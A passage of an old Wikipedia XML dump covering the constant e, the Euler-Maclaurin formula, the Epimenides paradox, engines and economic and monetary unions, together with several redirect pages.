:&lt;math&gt;e = \left [ \sum_{k=0}^\infty \frac{(-1)^k}{k!} \right ]^{-1}&lt;/math&gt;

:&lt;math&gt;e = \left [ \sum_{k=0}^\infty \frac{1-2k}{(2k)!} \right ]^{-1}&lt;/math&gt;

:&lt;math&gt;e =  \frac{1}{2} \sum_{k=0}^\infty \frac{k+1}{k!}&lt;/math&gt; 

:&lt;math&gt;e =  2 \sum_{k=0}^\infty \frac{k+1}{(2k+1)!}&lt;/math&gt;

:&lt;math&gt;e =   \sum_{k=0}^\infty \frac{3-4k^2}{(2k+1)!}&lt;/math&gt;

:&lt;math&gt;e =   \sum_{k=0}^\infty \frac{3k^2+1}{(3k)!}&lt;/math&gt;

:&lt;math&gt;e =   \left [ \sum_{k=0}^\infty \frac{4k+3}{2^{2k+1}\,(2k+1)!} \right ]^2&lt;/math&gt;

:&lt;math&gt;e =  \frac{-12}{\pi^2} \left [ \sum_{k=1}^\infty \frac{1}{k^2} \ \cos \left ( \frac{9}{k\pi+\sqrt{k^2\pi^2-9}} \right ) \right ]^{-1/3} &lt;/math&gt;

:&lt;math&gt;e =  \sum_{k=1}^\infty \frac{k^2}{2(k!)}&lt;/math&gt;

The number ''e'' is also given by several [[infinite product]] forms including the [[Pippenger product]]

:&lt;math&gt; e= 2 \left ( \frac{2}{1} \right )^{1/2} \left ( \frac{2}{3}\; \frac{4}{3} \right )^{1/4} \left ( \frac{4}{5}\; \frac{6}{5}\; \frac{6}{7}\; \frac{8}{7} \right )^{1/8} \cdots &lt;/math&gt;

as well as,

:&lt;math&gt; \frac{2\cdot 2^{(\ln(2)-1)^2} \cdots}{2^{\ln(2)-1}\cdot 2^{(\ln(2)-1)^3}\cdots }&lt;/math&gt;

The number ''e'' is equal to the [[limit of a sequence|limit]] of several [[infinite sequences]]:

:&lt;math&gt; e= \lim_{n \to \infty} n\cdot\left ( \frac{\sqrt{2 \pi n}}{n!} \right )^{1/n}   &lt;/math&gt; and

:&lt;math&gt; e=\lim_{n \to \infty} \frac{n}{\sqrt[n]{n!}} &lt;/math&gt; (both by [[Stirling's formula]]).

The symmetric limit, 

:&lt;math&gt;e=\lim_{n \to \infty} \left [ \frac{(n+1)^{n+1}}{n^n}- \frac{n^n}{(n-1)^{n-1}} \right ]&lt;/math&gt; 

may be obtained by manipulation of the basic limit definition of ''e''. Another limit is

:&lt;math&gt;e= \lim_{n \to \infty}(p_n \#)^{1/p_n} &lt;/math&gt; 

where &lt;math&gt; p_n &lt;/math&gt; is the ''n''th [[prime number|prime]] and &lt;math&gt; p_n \# &lt;/math&gt; is the [[primorial]] of the ''n''th prime.

It was shown by Euler that the infinite [[tetration]] 

:&lt;math&gt; x^{x^{\cdot^{\cdot^{\cdot}}}}, &lt;/math&gt;

converges only if &lt;math&gt;e^{-e} \le x \le e^{1/e}. &lt;/math&gt;

==Non-mathematical uses of ''e''==
One of the most famous mathematical constants, ''e'' is also frequently referenced outside of mathematics. Some examples are:

* In the [[IPO]] filing for [[Google]], in [[2004]], rather than a typical round-number amount of money, the company announced its intention to raise $2,718,281,828, which is, of course, ''e'' billion [[United States dollar|dollars]] to the nearest dollar.

* Google was also responsible for a mysterious billboard [http://mattwalsh.com/twiki/pub/Main/GoogleBillboardContestFindingPrimesInE/IMG_0742.JPG] that appeared in the heart of [[Silicon Valley]], and later in [[Cambridge, Massachusetts]], which read ''{first 10-digit prime found in consecutive digits of ''e''}.com''. Solving this problem and visiting the web site advertised led to an even more difficult problem to solve. (The first 10-digit prime in ''e'' is 7427466391, which surprisingly starts as late as at the 101st digit.) [http://www.mkaz.com/math/google/]

* The famous [[Computer Science|computer scientist]] [[Donald Knuth]] let the version numbers of his book [[METAFONT]] approach ''e'' (the versions are 2, 2.7, 2.71, 2.718, etc.).


==References==
* Maor, Eli; ''e: The Story of a Number'', ISBN 0691058547
* O'Connor, J.J., and Roberson, E.F.; ''The MacTutor History of Mathematics archive'': [http://www-history.mcs.st-andrews.ac.uk/HistTopics/e.html &quot;The number ''e''&quot;]; University of St Andrews Scotland (2001)

==Notes==
{{ent|1|OConnor}} O'Connor, &quot;The number ''e''&quot;

==External links==
* [http://www.gutenberg.org/etext/127 The number ''e'' to 1 million places] and [http://antwrp.gsfc.nasa.gov/htmltest/rjn_dig.html 2, 5, or 10 million places]
* [http://members.aol.com/jeff570/constants.html Earliest Uses of Symbols for Constants]
* [http://www.austms.org.au/Modules/Exp/ e the EXPONENTIAL - the Magic Number of GROWTH] - Keith Tognetti, University of Wollongong, NSW, Australia
* [http://members.optusnet.com.au/exponentialist/The_Scales_Of_e.htm 'The Scales Of e' demonstrates that fixed rate and variable rate compound growth are both exponential in nature.]

[[Category:Transcendental numbers]]
[[Category:Mathematical constants]]
[[Category:Exponentials]]
[[Category:Logarithms]]
[[Category:Famous numbers|2.71828]]

[[ar:إي (ثابت رياضي)]]
[[ca:Nombre e]]
[[cs:Eulerovo číslo]]
[[da:E (tal)]]
[[de:Eulersche Zahl]]
[[es:Número e]]
[[eo:E (matematiko)]]
[[fr:Constante mathématique e]]
[[gl:Número e]]
[[ko:E (수학상수)]]
[[it:℮ (costante matematica)]]
[[he:℮ (קבוע מתמטי)]]
[[la:Numerus Euleri]]
[[lt:Skaičius e]]
[[hu:Euler-féle szám]]
[[nl:E (wiskunde)]]
[[ja:ネイピア数]]
[[no:E (matematikk)]]
[[pl:Podstawa logarytmu naturalnego]]
[[pt:Número de Euler]]
[[ru:E (математическая константа)]]
[[sk:Eulerovo číslo]]
[[sl:E (matematična konstanta)]]
[[fi:Neperin luku]]
[[sv:E (tal)]]
[[zh:E (数学常数)]]</text>
    </revision>
  </page>
  <page>
    <title>Euler - Maclaurin formula</title>
    <id>9635</id>
    <revision>
      <id>15907508</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Euler-Maclaurin_formula]]
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  <page>
    <title>Euler-MacLaurin formula</title>
    <id>9636</id>
    <revision>
      <id>15907509</id>
      <timestamp>2002-04-17T11:44:05Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
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      <comment>#REDIRECT [[Euler-Maclaurin formula]]</comment>
      <text xml:space="preserve">#REDIRECT [[Euler-Maclaurin formula]]</text>
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  <page>
    <title>Euler-Maclaurin formula</title>
    <id>9637</id>
    <revision>
      <id>37835402</id>
      <timestamp>2006-02-02T12:33:08Z</timestamp>
      <contributor>
        <username>Jitse Niesen</username>
        <id>14515</id>
      </contributor>
      <comment>/* Applications */ The Euler-Maclaurin formula is also used for the error analysis in [[numerical quadrature]].</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Euler-Maclaurin formula''' provides a powerful connection
between integrals (see [[calculus]]) and sums.  It can be used to approximate
integrals by finite sums, or conversely to evaluate finite sums and infinite series using integrals and the machinery of calculus.  The formula was
discovered independently by [[Leonhard Euler]] and [[Colin Maclaurin]]
around [[1735]].  Euler needed it to compute slowly converging infinite series while Maclaurin used it to calculate integrals.

If ''n'' is a [[natural number]] and ''f''(''x'') is a smooth (meaning: sufficiently often [[derivative|differentiable]]) [[function (mathematics)|function]] defined for all [[real number]]s ''x'' between 0 and ''n'', then the integral

:&lt;math&gt;I=\int_0^n f(x)\,dx&lt;/math&gt;

can be approximated by the sum

:&lt;math&gt;
S=\frac{f\left( 0\right) }{2}+f\left( 1\right) +\cdots+f\left( n-1\right) +
\frac{f\left( n\right) }{2} 
&lt;/math&gt;
We can use two expressions for &lt;math&gt;S&lt;/math&gt; : 

:&lt;math&gt;S=-\frac{f\left( 0\right) +f\left( n\right) }{2}+\sum_{k=0}^{n}f\left(
k\right) &lt;/math&gt; 
or
:&lt;math&gt;S=\frac{f\left( 0\right) +f\left( n\right) }{2}+\sum_{k=1}^{n-1}f\left(
k\right) &lt;/math&gt;

(see [[trapezoidal rule]]).  The Euler-Maclaurin formula provides expressions for the difference between the sum and the integral in terms of the higher derivatives ''f''&lt;sup&gt;(''k'')&lt;/sup&gt; at the end points of the interval 0 and ''n''.  For any natural number ''p'', we have

:&lt;math&gt;S-I=\sum_{k=1}^p\frac{B_{2k}}{(2k)!}\left(f^{(2k-1)}(n)-f^{(2k-1)}(0)\right)+R&lt;/math&gt;

where, ''B''&lt;sub&gt;2&lt;/sub&gt; = 1/6, ''B''&lt;sub&gt;4&lt;/sub&gt; = &amp;minus;1/30, ''B''&lt;sub&gt;6&lt;/sub&gt; = 1/42, ''B''&lt;sub&gt;8&lt;/sub&gt; = &amp;minus;1/30, ... are the [[Bernoulli numbers]].

''R'' is an error term which is normally small if ''p'' is large enough and can be estimated as
:&lt;math&gt;\left|R\right|\leq\frac{2}{(2\pi)^{2p}}\int_0^n\left|f^{(2p+1)}(x)\right|\,dx.&lt;/math&gt;

By employing the [[substitution rule]], one can adapt this formula also to functions ''f'' which are defined on some other [[interval (mathematics)|interval]] of the real line.

==Applications==
If ''f'' is a [[polynomial]] and ''p'' is big enough, then the remainder term vanishes.  For instance, if ''f''(''x'') = ''x''&lt;sup&gt;3&lt;/sup&gt;, we can choose ''p'' = 2 to obtain after simplification
:&lt;math&gt;\sum_{i=0}^n i^3=\left(\frac{n(n+1)}{2}\right)^2.&lt;/math&gt;

With the function ''f''(''x'') = log(''x''), the Euler-Maclaurin formula can be used to derive precise error estimates for [[Stirling's approximation]] of the [[factorial]] function.

The Euler-Maclaurin formula is also used for detailed error analysis in [[numerical quadrature]]; in particular, extrapolation methods depend on it.

==Derivation==
The Euler-MacLaurin formula can be understood as a curious application of some ideas from [[Hilbert space]]s and [[functional analysis]].  Let &lt;math&gt;B_n(x)&lt;/math&gt; be the [[Bernoulli polynomial]]s.  A set of functions [[dual space|dual]] to the Bernoulli polynomials are given by

:&lt;math&gt;\tilde{B_n}(x)=\frac{(-1)^{n+1}}{n!} \left[ 
\delta^{(n-1)}(1-x) - \delta^{(n-1)}(x) \right]&lt;/math&gt;

where &amp;delta; is the [[Dirac delta function]]. The above is a formal notation for the idea of taking derivatives at a point; thus one has

:&lt;math&gt;\int_0^1 \tilde{B_n}(x) f(x) dx = \frac{1}{n!} \left[ 
f^{(n-1)}(1) - f^{(n-1)}(0) \right]&lt;/math&gt; 

for ''n'' &amp;gt; 0 and some arbitrary but differentiable function ''f''(''x'') on the unit interval. For the case of ''n''=0, one defines &lt;math&gt;\tilde{B_0}(x)=1&lt;/math&gt;.  The Bernoulli polynomials, along with their duals, form an orthogonal set of states on the unit interval: one has

:&lt;math&gt;\int_0^1 \tilde{B_m}(x) B_n(x) dx = \delta_{mn}&lt;/math&gt;

and

:&lt;math&gt;\sum_{n=0}^\infty B_n(x) \tilde{B_n}(y) = \delta (x-y)&lt;/math&gt;

The Euler-MacLaurin summation formula then follows as an integral over the latter. One has

:&lt;math&gt;f(x)=\int_0^1 \sum_{n=0}^\infty B_n(x) \tilde{B_n}(y) f(y) dy&lt;/math&gt;

::&lt;math&gt;=\int_0^1 f(y)dy + 
\sum_{n=1}^{N} B_n(x) \frac{1}{n!} 
\left[ f^{(n-1)}(1) - f^{(n-1)}(0) \right] 
- \frac{1}{(N+1)!} \int_0^1 B_{N+1}(x-y) f^{(N)}(y) dy&lt;/math&gt; 

Then taking ''x''=0, and rearranging terms, one obtains the traditional formula, together with the error term.  Note that the Bernoulli numbers are defined as &lt;math&gt;B_n=B_n(0)&lt;/math&gt;, and that these vanish for odd ''n'' greater than 1.  Note that this derivation does assume that ''f''(''x'') is sufficiently differentiable and well-behaved; specifically, that ''f'' may be approximated by [[polynomial]]s; equivalently, that ''f'' is a real [[analytic function]].

The Euler-MacLaurin summation formula can thus be seen to be an outcome of the [[group representation|representation]] of functions on the unit interval by the direct product of the Bernoulli polynomials and their duals.  Note, however, that the representation is not [[complete]] on the set of [[square-integrable]] functions. The expansion in terms of the Bernoulli polynomials has a non-trivial [[kernel of a function|kernel]].  In particular, sin(2&amp;pi;nx) lies in the kernel; the integral of sin(2&amp;pi;nx) is vanishing on the unit interval, as is the difference of its derivatives at the endpoints.

==Motivation for the existence==
From a formal point of view the existence of the Euler-MacLaurin summation formula can be motivated as follows. 
The [[difference operator]] &lt;math&gt;\Delta&lt;/math&gt; may formally be written as 
&lt;math&gt;\Delta = e^D - I&lt;/math&gt;, where &lt;math&gt;D&lt;/math&gt; denotes an ordinary [[differential operator]].
Since the [[summation]] operator &lt;math&gt;\Sigma&lt;/math&gt; is the inverse operator to the difference operator
&lt;math&gt;\Delta&lt;/math&gt; we get 

:&lt;math&gt;\Sigma = \Delta^{-1} = \frac1{e^D - I}&lt;/math&gt;.

Now we know that the exponential generating function of the [[Bernoulli numbers]]
is given by 

:&lt;math&gt; \frac{x}{e^x-1} = \sum_{n=0}^{\infin} B_n \frac{x^n}{n!} &lt;/math&gt;,

hence formally

:&lt;math&gt;\Sigma = \frac1D \sum_{n=0}^{\infin} B_n \frac{D^n}{n!} = \frac1D -\frac12 I + \frac16 D + \cdots 
= \int - \frac12 I + \frac16 D + \cdots, &lt;/math&gt;

where &lt;math&gt;\int&lt;/math&gt;   denotes the [[integral operator]]. This pure formal 
derivation indicates the existence of the formula. The idea is due to Legendre.

==External links==

*[http://numbers.computation.free.fr/Constants/Miscellaneous/bernoulli.html Bernoulli numbers, polynomials and applications of the Euler-Maclaurin formula]

[[Category:Approximation theory]]
[[Category:Asymptotic analysis]]
[[Category:Hilbert space]]

[[it:Formula di Euler - Maclaurin]]
[[pl:Formu&amp;#322;a Eulera-Maclaurina]]</text>
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  <page>
    <title>Epimenides paradox</title>
    <id>9638</id>
    <revision>
      <id>42051062</id>
      <timestamp>2006-03-03T13:34:53Z</timestamp>
      <contributor>
        <username>Stevepeterson</username>
        <id>535278</id>
      </contributor>
      <comment>change cretan to cretian as it is more correct English and closer to the Greek cretico</comment>
      <text xml:space="preserve">The '''Epimenides paradox''' is a problem in [[logic]]. This problem is named after the [[Crete|Cretian]] philosopher [[Epimenides]] of [[Knossos]] (flourished circa 600 BC), who stated ''&amp;#x039a;&amp;#x03c1;&amp;#x1fc6;&amp;#x03c4;&amp;#x03b5;&amp;#x03c2; &amp;#x1f00;&amp;#x03b5;&amp;#x1f77; &amp;#x03c8;&amp;#x03b5;&amp;#x1f7b;&amp;#x03c3;&amp;#x03c4;&amp;#x03b1;&amp;#x03b9;'', &quot;Cretians, always liars&quot;. There is no single statement of the problem; a typical variation is given in the book [[Gödel, Escher, Bach]] (page 17), by [[Douglas R. Hofstadter]].

: ''Epimenides was a Cretian who made one immortal statement: &quot;All Crietans are liars.&quot;''

Did Epimenides speak the truth? We will first consider the logical status of his statement and then review the history of this famous quote.

== Logical analysis ==
If we define &quot;liar&quot; to mean that every statement made by a liar is false (so that Epimenides' statement amounts to &quot;Anything said by a Cretan is false&quot;), then the statement &quot;All Cretans are liars,&quot; if uttered by the Cretan Epimenides, cannot be consistently true. (And, as will be noted below, according to one interpretation it also cannot be consistently false, either.) 

The conjunction of &quot;Epimenides said all Cretians are liars&quot; and &quot;Epimenides is a Cretian&quot; would, if true, imply that a Cretian has truthfully asserted that no Cretian has ever spoken the truth; the truth of Epimenides' statement would be a counterexample (some Cretian has told the truth at least once) and would mean that not all Cretians are necessarily always liars, which would contradict Epimenides' statement and thus would render it false. 

Several interpretations and analyses are available, if the statement is considered false. It might be contended that the truth-value &quot;false&quot; can be consistently assigned to the simple proposition that &quot;All Cretans are liars,&quot; so that this statement by itself, when deemed false, is not, strictly speaking, paradoxical. Thus, if there ever existed a Cretian (not Epimenides in this instance) who even once spoke the truth, the categorical statement &quot;All Cretians are (always) liars,&quot; would be false, and Epimenides might be simply regarded as having made a false statement himself. But if Epimenides' statement is understood as in essence asserting its own falsehood, then the statement cannot consistently be false, either, because its falsehood would imply the truth of its self-asserted falsehood. 

An interesting asymmetry is possible under one interpretation: the statement's truth clearly implies its falsehood, but, unless the statement is interpreted to refer specifically to itself (rather than referring categorically to all statements by Cretans), the statement could be contingently false without implying its own truth. 

Alternatively, if, by &quot;liar&quot;, we were to mean someone whose statements are usually but not always false, the logical problem would dissolve: Epimenides might usually lie, but on this occasion it might be that he happened to speak the truth. This interpretation would not lead to an interesting logical problem. 

Paradoxical versions of the Epimenides problem are closely related to a class of more difficult logical problems, including the [[liar paradox]], [[Russell's paradox]], and the [[Burali-Forti paradox]], all of which have self-reference in common with Epimenides. (The Epimenides paradox is usually classified as a variation on the liar paradox, and sometimes the two are not distinguished.) The study of self-reference led to important developments in logic and mathematics in the twentieth century.

== History ==
The Epimenides paradox, as a problem in logic, appears to have a relatively recent origin, although the statement &quot;Cretans, always liars&quot; has quite a history itself.

Epimenides was a philosopher and religious prophet who, against the general sentiment of Crete, proposed that [[Zeus]] was immortal. As he wrote in his poem ''Cretica'', 

:They fashioned a tomb for thee, O holy and high one-
:The Cretians, always liars, evil beasts, idle bellies!
:But thou art not dead: thou livest and abidest forever,
:For in thee we live and move and have our being.

Denying the immortality of Zeus, then, is the lie of the Cretians. It appears that by &quot;Cretians&quot;, Epimenides intended &quot;Cretians other than myself&quot;. The phrase &quot;Cretians, always liars&quot; was quoted by the poet [[Callimachus]] in his ''Hymn to Zeus'', with the same theological intent as Epimenides. The entire second line is quoted in the [[Epistle to Titus]], chapter 1, verse 12, and identified as such by [[Clement of Alexandria]]. The entire verse reads, &quot;One of themselves, even a prophet of their own, said, The Cretians are alway liars, evil beasts, slow bellies.&quot; And the next verse continues, &quot;This witness is true.&quot; (King James Version.) Though this explicitly includes the self-reference, it appears to be solely intended to defame the Cretans.

The inconsistency of a Cretian asserting all Cretians are liars does not seem to have occurred to Epimenides, nor to Callimachus, Paul, or Clement. In the original context, Epimenides necessarily meant &quot;Cretans other than myself&quot;, so there is no self-reference and thus no logical problem to speak of. The liar paradox was known in antiquity, but it was not associated with Epimenides then. ([[Augustine of Hippo|Saint Augustine]] restates the liar paradox, without mentioning Epimenides or Titus, in ''[[Against the Academicians]]'' III.13.29.) Many variations of the liar paradox (called [[insolubilia]]) were studied in the Middle Ages, but none of the extant medieval works on insolubilia refer to Epimenides, neither directly nor through the Epistle to Titus. The earliest appearance of Epimenides in the context of a logical problem dates only to the nineteenth century. Since that time, the Epimenides paradox has been commonly employed in discussions of logic.

== Sources ==
All of the works of Epimenides are now lost, and known only through quotations by other authors. The quotation from the ''Cretica'' of Epimenides is given by R.N. Longenecker, &quot;Acts of the Apostles&quot;, in volume 9 of ''The Expositor's Bible Commentary'', Frank E. Gaebelein, editor (Grand Rapids, Michigan: Zondervan Corporation, 1976-1984), page 476. Longenecker in turn cites M.D. Gibson, ''Horae Semiticae X'' (Cambridge: Cambridge University Press, 1913), page 40, &quot;in [[Syriac]]&quot;. Longenecker states the following in a footnote:

: ''The Syr. version of the quatrain comes to us from the Syr. church father [[Isho'dad of Mero]] (probably based on the work of [[Theodore of Mopsuestia]]), which J.R. Harris translated back into Gr. in Exp [&quot;The Expositor&quot;] 7 (1907), p 336.''

An oblique reference to Epimenides in the context of logic appears in &quot;The Logical Calculus&quot; by W. E. Johnson, ''Mind'' (New Series), volume 1, number 2 (April, 1892), pages 235-250. Johnson writes in a footnote,

:''Compare, for example, such occasions for fallacy as are supplied by &quot;Epimenides is a liar&quot; or &quot;That surface is red,&quot; which may be resolved into &quot;All or some statements of Epimenides are false,&quot; &quot;All or some of the surface is red.&quot;''

The Epimenides paradox appears explicitly in &quot;Mathematical Logic as Based on the Theory of Types&quot;, by [[Bertrand Russell]], in the ''American Journal of Mathematics'', volume 30, number 3 (July, 1908), pages 222-262, which opens with the following:

:''The oldest contradiction of the kind in question is the Epimenides. Epimenides the Cretan said that all Cretans were liars, and all other statements made by Cretans were certainly lies. Was this a lie?''

In that article, Russell uses the Epimenides paradox as the point of departure for discussions of other problems, including the [[Burali-Forti paradox]] and the paradox now called [[Russell's paradox]]. Since Russell, the Epimenides paradox has been referenced repeatedly in logic. Typical of these references is ''[[Gödel, Escher, Bach]]'' by [[Douglas Hofstadter]] (Basic Books, 1980), which accords the paradox a prominent place in a discussion of self-reference.

[[Category:Paradoxes]]

[[de:Paradoxon des Epimenides]]
[[es:Paradoja de Epiménides]]
[[hu:Epimenidész-paradoxon]]
[[nl:Paradox van Epimenides]]
[[pl:Paradoks Epimenidesa]]</text>
    </revision>
  </page>
  <page>
    <title>Engines of creation</title>
    <id>9639</id>
    <revision>
      <id>39034606</id>
      <timestamp>2006-02-10T06:39:44Z</timestamp>
      <contributor>
        <username>Red1</username>
        <id>680116</id>
      </contributor>
      <comment>/* Fixing double redirect */</comment>
      <text xml:space="preserve">#REDIRECT [[Engines of Creation (book)]]</text>
    </revision>
  </page>
  <page>
    <title>Engine</title>
    <id>9640</id>
    <revision>
      <id>41541705</id>
      <timestamp>2006-02-28T01:14:22Z</timestamp>
      <contributor>
        <ip>67.181.81.135</ip>
      </contributor>
      <text xml:space="preserve">An '''engine''' is something that produces some effect from a given input. The origin of [[engineering]] was the working of engines. There is an overlap in [[English language|English]] between two meanings of the word &quot;engineer&quot;: 'those who operate engines' and 'those who design and construct new items'.

==Usage of the term==
In original usage, an engine was any sort of mechanical device. The term &quot;gin&quot; in [[cotton gin]] is a short form of this usage. Practically every device from the [[industrial revolution]] was referred to as an engine, and this is where the [[steam engine]] gained its name. This form of the term has recently come into use once again in [[computer science]], where terms like [[search engine]], &quot;3-D graphics [[game engine|rendering engine]]&quot; and &quot;[[speech synthesis|text-to-speech engine]]&quot; are common. The earliest mechanical computing device was called the [[difference engine]]; Military devices such as [[catapult]]s are referred to as ''[[siege engine]]s''.

In more recent usage, the term is typically used to describe devices that perform [[mechanical work]], follow-ons to the original steam engine. In most cases the work is supplied by exerting a [[torque]], which is used to operate other machinery, generate [[electricity]], [[pump]] water or [[gas compressor|compress gas]].

In the context of propulsion systems, an air breathing engine is one that uses atmospheric air to oxidise the fuel carried, rather than carrying an oxidiser, as in a [[rocket]]. Theoretically, this should result in a better [[specific impulse]] than for [[rocket engine]]s.

==History of engines==
===Antiquity===

While [[Chemistry |chemical]] and [[Electricity |electrical]] engines of enormous power dominate the modern world, engines themselves are not new.  Engines using [[Manual labour |human power]], [[Animal powered transport |animal power]], [[Hydropower |water power]], [[wind power]] and even [[Steam engine |steam power]] date back to antiquity.

Human power was focused by the use of simple engines, such as the [[capstan]], [[windlass]] or [[treadmill]], and with ropes, [[pulley]]s, and [[block and tackle]] arrangements, this power was transmitted and multiplied.  These were commonly used in [[Crane (machine)|cranes]] and aboard [[ship]]s during [[Ancient Greece]], and in [[Mining |mine]]s, [[Pump |water pump]]s and [[siege engines]] in [[Ancient Rome]].  Early [[Galley |oared warships]] used human power augmented by the simple engine of the [[lever]] -- the [[oar]] itself.  The writers of those times, including [[Vitruvius]], [[Frontinus]] and [[Pliny the Elder]], treat these engines as commonplace, so their invention may be far more ancient. 

By the [[1st century]] AD, various breeds of [[cattle]] and [[horse]]s were used in [[Mill (grinding)|mill]]s, using machines similar to those powered by humans in earlier times.

According to [[Strabo]], a water powered mill was built in Kaberia in the [[Parthian Empire |kingdom of Mithridates]] in the [[1st century BC]].  Use of [[water wheel]]s in mills slowly spread through [[Europe]] over the next few centuries.  Some were quite complex, with [[aqueduct]]s, [[dam]]s, and [[sluice]]s to maintain and channel the water, and systems of [[gears]], or toothed-wheels made of wood with metal, used to regulate the speed of rotation.  In a poem by [[Ausonius]] in the [[4th century]], he mentions a stone-cutting saw powered by water.

[[Hero of Alexandria]] demonstrated both wind and steam powered machines in the 1st century, although it's not known if these were put to any practical use until much later.

===Modern===
[[England|English]] inventor Sir [[Samuel Morland]] allegedly used [[gunpowder]] to drive water pumps in the [[17th century]]. For more conventional, reciprocating [[internal combustion engine]]s the fundamental theory for [[two-stroke engine]]s was established by [[Sadi Carnot]], [[France]], 1824, whilst the American [[Samuel Morey]] received a [[patent]] on [[April 1]], [[1826]].

Automotive production down the ages has required a wide range of energy-conversion systems. These include electric, [[steam engine|steam]], [[solar power|solar]], [[turbine]], rotary, and different types of piston-type internal combustion engines. The gasoline internal combustion engine, operating on a four-stroke Otto cycle, has traditionally been the most successful for automobiles, while diesel engines are widely used for trucks and buses. However, in the twenty first century the diesel engine has been increasing in popularity with automobile owners. This is partially due to the improvement of engine control systems (computers) and forced induction (turbos and superchargers), giving modern diesel engines the same power characteristics as gasoline engines.  This is especially evident with the popularity of diesel engines in Europe. 

The internal combustion engine was originally selected for the automobile due to its flexibility over a wide range of speeds. Also, the power developed for a given weight engine was reasonable; it could be produced by economical mass-production methods; and it used a readily available, moderately priced fuel--gasoline. 

In today’s world, there has been a growing emphasis on the pollution producing features of automotive power systems. This has created new interest in alternate power sources and internal-combustion engine refinements that were not economically feasible in prior years. Although a few limited-production battery-powered electric vehicles have appeared from time to time, they have not proved to be competitive owing to costs and operating characteristics. However, the gasoline engine, with its new emission-control devices to improve emission performance, has not yet been challenged significantly.

The first half of the twentieth century saw a trend to increase engine power, particularly in the American models. Design changes incorporated all known methods of raising engine capacity, including increasing the pressure in the cylinders to improve efficiency, increasing the size of the engine, and increasing the speed at which power is generated. The higher forces and pressures created by these changes created engine vibration and size problems that led to stiffer, more compact engines with V and opposed cylinder layouts replacing longer straight-line arrangements. In passenger cars, [[V8|V-8]] layouts were adopted for all piston displacements greater than 250 [[cubic inch]]es (4 litres).

Smaller cars brought about a return a to smaller engines, the [[V4|four]]- and [[v6|six]]-cylinder designs rated as low as 80 horsepower (60 kW), compared with the standard-size V-8 of large cylinder bore and relatively short piston stroke with power ratings in the range from 250 to 350 hp (190 to 260 kW).

The automobile motor from [[Europe]] had a bigger range, varying from 1to12 cylinders with corresponding differences in overall size, weight, piston displacement, and cylinder bores. Four cylinders and power ratings from 19 to 120 hp (14 to 90 kW) were followed in a majority of the models. Several three-cylinder, two-stroke-cycle models were built while most engines had straight or in-line cylinders. There were several V-type models and horizontally opposed two- and four-cylinder makes too. Overhead camshafts were frequently employed. The smaller engines were commonly air-cooled and located at the rear of the vehicle; compression ratios were relatively low. The 1970s and '80s saw an increased interest in improved fuel economy which brought in a return to smaller V-6 and four-cylinder layouts, with as many as five valves per cylinder to improve efficiency.

==Air-breathing engines==
[[Air-breathing engine]]s use atmospheric air to oxidise the fuel carried, rather than carrying an oxidiser, as in a [[rocket]].  Theoretically, this should result in a better [[specific impulse]] than for rocket engines.

Air-breathing engines include:

*[[Internal combustion engine]]
*[[Jet engine]]
*[[Ramjet]]
*[[Scramjet]]
*[[Pulse detonation engine]]
*[[Pulse jet]]
*[[Liquid air cycle engine]]/[[SABRE]]

==References==
* J. G. Landels, ''Engineering in the Ancient World'', ISBN 0520041275

==See also==
*[[Spacecraft propulsion]]
*[[Aircraft engine]]
*[[Air engine]]
*[[Car engine]]
*[[Electric motor]]
*[[Motorcycle engine]]
*[[External-combustion engine]]
**[[Steam engine]]
**[[Steam turbine]]
**[[Stirling engine]]
*[[Internal-combustion engine]]
**[[Controlled Combustion Engine]]
**[[Gas turbine]]
**[[Jet engine]]
**[[Rocket]]
**[[Diesel engine]]
**[[Gasoline engine]]
**[[HCCI|HCCI engine]] 
**[[Radial engine]]
**[[Stelzer engine]]
**[[Orbital engine]]
**[[Wankel engine]]
**[[Quasiturbine]]
*[[Outboard motor]]
*[[Timeline of motor and engine technology]]
*[[Turbine]]
*[[Water turbine]]

==External links==
{{Commons|Category:Engines}}

* [http://auto.howstuffworks.com/engine.htm How stuff works: Cars Engines]
* [http://www.keveney.com/Engines.html Engines working. Animation]

[[Category:Engines|*]]
[[Category:Engine technology]]
[[Category:Mechanical engineering]]



&lt;!-- interwiki --&gt;

[[ar:محرك]]
[[cs:Motor]]
[[da:Kraftmaskine]]
[[de:Kraftmaschine]]
[[hr:Motor]]
[[fr:moteur]]
[[he:מנוע]]
[[it:Motore]]
[[ja:&amp;#12456;&amp;#12531;&amp;#12472;&amp;#12531;]]
[[nl:Motor]]
[[no:Motor]]
[[pl:silnik]]
[[ru:&amp;#1044;&amp;#1074;&amp;#1080;&amp;#1075;&amp;#1072;&amp;#1090;&amp;#1077;&amp;#1083;&amp;#1100;]]
[[zh:&amp;#21457;&amp;#21160;&amp;#26426;]]</text>
    </revision>
  </page>
  <page>
    <title>Extropian</title>
    <id>9642</id>
    <revision>
      <id>15907515</id>
      <timestamp>2003-04-14T07:05:48Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>merging into Extropianism</comment>
      <text xml:space="preserve">#REDIRECT [[Extropianism]]</text>
    </revision>
  </page>
  <page>
    <title>Economic and monetary union</title>
    <id>9643</id>
    <revision>
      <id>41814790</id>
      <timestamp>2006-03-01T22:50:23Z</timestamp>
      <contributor>
        <username>Trjumpet</username>
        <id>130742</id>
      </contributor>
      <text xml:space="preserve">{{trade bloc}}
''This article covers the general information on the topic. For information about the EMU of the [[European Union]] see [[Economic and Monetary Union of the European Union|here]].''

An '''economic and monetary union''' is a [[single market]] with a common currency. It is to be distinguished from a mere [[currency union]] (e.g. the [[Latin Monetary Union]] in the 1800s), which does not involve a single market. 

This is the fifth stage of [[economic integration]].

EMU is established through a currency-related [[trade pact]].

== List of Economic and Monetary Unions ==

===Current===
* The [[Belgium-Luxembourg Economic Union]] has been in place since [[1921]], though has largely been subsumed by [[Benelux]] and the [[Eurozone]].

* The largest economic and monetary union at present is the [[Eurozone]].  The Eurozone consists of the [[European Union]] [[European Union member states|member states]] that have completed the third stage of the [[Economic and Monetary Union of the European Union|EMU]] and have adopted the [[Euro]] plus some [[Eurozone#Nations with formal agreements with the EU|non-EU members]].

===Proposed===
* Economic and monetary union of the [[Caribbean Community]]
* Economic and monetary union of the [[Economic Community of West African States]] (ECOWAS)
* Economic and monetary union of the [[Gulf Cooperation Council]] (GCC), due in 2010
